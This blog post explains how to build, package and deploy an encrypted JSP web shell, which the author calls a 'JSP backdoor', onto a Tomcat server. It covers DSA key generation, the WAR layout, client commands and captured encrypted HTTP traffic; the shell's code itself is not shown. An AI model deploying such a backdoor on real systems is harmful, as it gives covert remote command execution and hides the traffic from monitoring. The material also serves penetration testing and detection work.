Encrypted JSP Shell with signed diffie-hellman key exchange

This is a follow up of my previous JSP Shell post. This JSP shell has the following functionality:

• Signed Diffie-Hellman key exchange
• Blowfish Encrypted commands
• Blowfish Encrypted result

However the way I implemented the crypto part is as far as i know flawed, this because I’ll maybe try to break my own implementation. It’s on my todo list to understand more about cryptographic attacks. To my knowledge the following flaws are present(there are probably more, feel free to point them out in the comments). Thanks to the people of #crypto on freenode for answering my questions and having me realize the flaws listed below:

• Non-authenticated exchange of encrypted messages
• The derivation of the Blowfish key from the Diffie-Hellman output isn’t hashed sufficiently

So just to be clear, ONLY the initial key exchange is authenticated using DSA signatures, after which the secret key is established to encrypt the rest of the communication using Blowfish. Let’s take a closer look at the usage and deployment of the shell. If you just want the code, it’s available on my github page. The bin directory contains everything you need for a grab&go usage.

First of all, since the output is encrypted we will be using a custom java client to communicate with the shell. This is also the easiest part to build and the part responsible for the generation of the DSA public/private key pairs.

Let’s compile the client:

java *.java

It will output warnings, you can ignore them. I’ll maybe update the code to remove those warning, but I don’t promise anything. Now let’s generate the DSA public/private key pairs that we need.

java SJSc gen

It should output four files with a “dsa” extension. That’s all there is to it. Before we continue on to the actual  JSP Shell, let me explain a little quirk:

During the implementation of the Diffie-Hellman code I found it easier to keep the analogy of Alice &  Bob visible in the code. Because of that the generated key pairs include alice & bob in their names. Alice is the JSP Client and Bob is the JSP Shell.

To prepare the JSP Shell we need to perform three steps: compile, prepare and package. Before we can do any of those we need a correct WAR directory structure, make sure yours looks as follow:

SJSs/
|– index.jsp
|– src
|        `– sc
|        `– SeComDH.java
`– WEB-INF
|– privatebob.dsa
|– publicalice.dsa
`– web.xml

The “src” directory will be removed from the tree, but for now just leave it there. The only thing that needs compilation is  the “SeComDH.java” file. Due to the way of how JSP works, java files need to be inside a package, thus the whole reason it’s inside a folder named “sc”. Use the following command to compile the file:

javac SeComDH.java

Now you need to adjust your directory structure to look like the one below, I advise creating a new directory with the structure below:

SJSs/
|– index.jsp
`– WEB-INF
|– classes
|     `– sc
|           `– SeComDH.class
|– privatebob.dsa
|– publicalice.dsa
`– web.xml

See my previous post to know what goes inside web.xml. In case you didn’t notice, we copied the public key from alice (client) and the private key from bob (shell) to the WEB-INF directory. Now that we have compiled the src and prepared the package, let’s create the actual WAR file:

jar cvf shell.war -C SJSs/ .

If everything went as planned, you now have a WAR file which you can for example upload to tomcat. When deployed you can use the client as follow to talk with the shell:

java SJSc http://localhost:8080/shell/ enc

Just make sure that the appropriate “.dsa” files are in the same directory. If you dislike the shell you can reuse the SeComDH.java class for your own JSP shell. It isn’t exactly OO but it should suffice for most situations where you want to protect the communication with your JSP backdoor. Maybe I’ll create a small bash script to automate the whole process, but meh… it isn’t that much work to do it manually, and you just need to it one time. Thereafter you can just generate new key pairs and replace the old ones etc.

For the ones curious, this is how it looks like on the wire(“[…]” represents the rest of the data, didn’t want to spam this post with random hex):

Key Exchange:

GET /shell/?e=yeah&dp=308201a53082011a06[…]&s=302d02150088c0a[…] HTTP/1.1
User-Agent: Java/1.6.0_26
Host: localhost:8080
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=3A178ECB35C6DF9B8645D0485D12C7F1; Path=/shell
Content-Type: text/html
Content-Length: 954
Date: Thu, 19 Jan 2012 00:20:26 GMT

308201a630[…];302c0214266b[..]

Sending a command and receiving it’s output:

GET /shell/?t=318c1e300239e062&i=917a2c3f156d7e7e HTTP/1.1
Cookie: JSESSIONID=3A178ECB35C6DF9B8645D0485D12C7F1
User-Agent: Java/1.6.0_26
Host: localhost:8080
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html
Content-Length: 74
Date: Thu, 19 Jan 2012 00:20:34 GMT

ae6262daaf1a4612[…]